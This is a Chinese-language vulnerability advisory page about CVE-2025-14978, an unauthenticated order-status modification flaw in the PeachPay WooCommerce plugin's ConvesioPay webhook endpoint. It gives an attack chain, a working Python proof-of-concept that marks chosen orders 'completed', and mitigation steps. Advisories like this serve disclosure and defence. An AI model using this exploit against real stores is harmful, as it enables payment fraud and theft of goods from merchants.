IPBUF安全漏洞报告
English
CVE-2025-14978 CVSS 5.3 中危

CVE-2025-14978 PeachPay WooCommerce插件未授权订单状态修改漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-14978
漏洞类型
缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net)

相关标签

缺少权限检查WordPress插件漏洞WooCommercePeachPay未授权访问订单状态篡改REST API安全业务逻辑漏洞CVE-2025-14978

漏洞概述

PeachPay是WordPress平台上广受欢迎的WooCommerce支付插件,支持Stripe、PayPal、Square和Authorize.net等多种支付网关。该插件在1.119.8及之前的所有版本中,存在一个严重的安全漏洞:ConvesioPay webhook REST端点缺少权限验证检查(missing capability checks)。攻击者无需任何认证,即可利用该漏洞修改任意WooCommerce订单的状态。这一漏洞影响所有使用该插件的WordPress网站,可能导致订单状态被恶意篡改,造成经济损失或业务逻辑混乱。攻击者可以将未支付的订单状态修改为已支付,或者将已完成的订单回退到其他状态,从而实施欺诈行为。该漏洞已于2026年1月20日被披露,CVSS评分为5.3(中等严重程度),建议用户立即更新到最新版本以修复此安全问题。

技术细节

该漏洞根因在于PeachPay插件的ConvesioPay webhook REST端点(class-peachpay-convesiopay-webhook.php)未对请求进行权限验证。正常情况下,WordPress REST API端点应使用current_filter()或权限回调函数检查当前用户是否具有管理订单的权限(如manage_woocommerce订单)。然而,该端点直接处理传入的POST请求,未验证请求来源的合法性。攻击者只需构造恶意的POST请求到相应的REST路由,即可指定任意订单ID并修改其状态。漏洞利用的关键在于:1)端点路径可被未认证用户访问;2)缺少nonce验证或capability检查;3)订单状态修改逻辑未校验用户权限。攻击者通过发送包含order_id和目标status的请求参数,即可绕过认证机制修改任意订单状态。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站,发现其使用PeachPay WooCommerce插件
STEP 2
步骤2
攻击者定位ConvesioPay webhook REST端点(通常位于/wp-json/peachpay/v1/convesiopay/webhook)
STEP 3
步骤3
攻击者构造恶意POST请求,包含目标订单ID和期望修改的状态参数
STEP 4
步骤4
由于端点缺少权限验证和nonce检查,攻击者无需任何认证即可发送请求
STEP 5
步骤5
服务器端接收请求,直接执行业务逻辑修改指定订单的状态
STEP 6
步骤6
攻击者利用修改后的订单状态实施欺诈,如虚假确认支付、骗取货物等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14978 PoC - Unauthorized Order Status Modification # Target: PeachPay WooCommerce Plugin < 1.119.9 # Vulnerability: Missing capability check on ConvesioPay webhook REST endpoint target_url = "http://target-wordpress-site.com" # The webhook endpoint path (example, actual path may vary) webhook_endpoint = "/wp-json/peachpay/v1/convesiopay/webhook" # Target order ID to modify target_order_id = 12345 # Desired malicious status (e.g., 'completed', 'processing', 'pending') target_status = "completed" # Construct the malicious request url = f"{target_url}{webhook_endpoint}" payload = { "order_id": target_order_id, "status": target_status, # Additional parameters may be required depending on implementation "order_status": target_status } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-14978-PoC)" } print(f"[*] Sending malicious request to: {url}") print(f"[*] Target Order ID: {target_order_id}") print(f"[*] Target Status: {target_status}") try: response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit successful - Order status may have been modified") else: print("[-] Exploit may have failed - Check response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC is for educational and authorized testing purposes only.

影响范围

PeachPay for WooCommerce < 1.119.9 (all versions up to 1.119.8)

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:在Web服务器层面限制对/wp-json/peachpay/路径的访问,仅允许受信任的IP访问webhook端点;或者暂时禁用ConvesioPay支付网关功能;也可以使用WordPress安全插件(如Wordfence)添加临时防火墙规则阻止对相关端点的未授权访问。但这些仅为临时措施,最终仍需升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表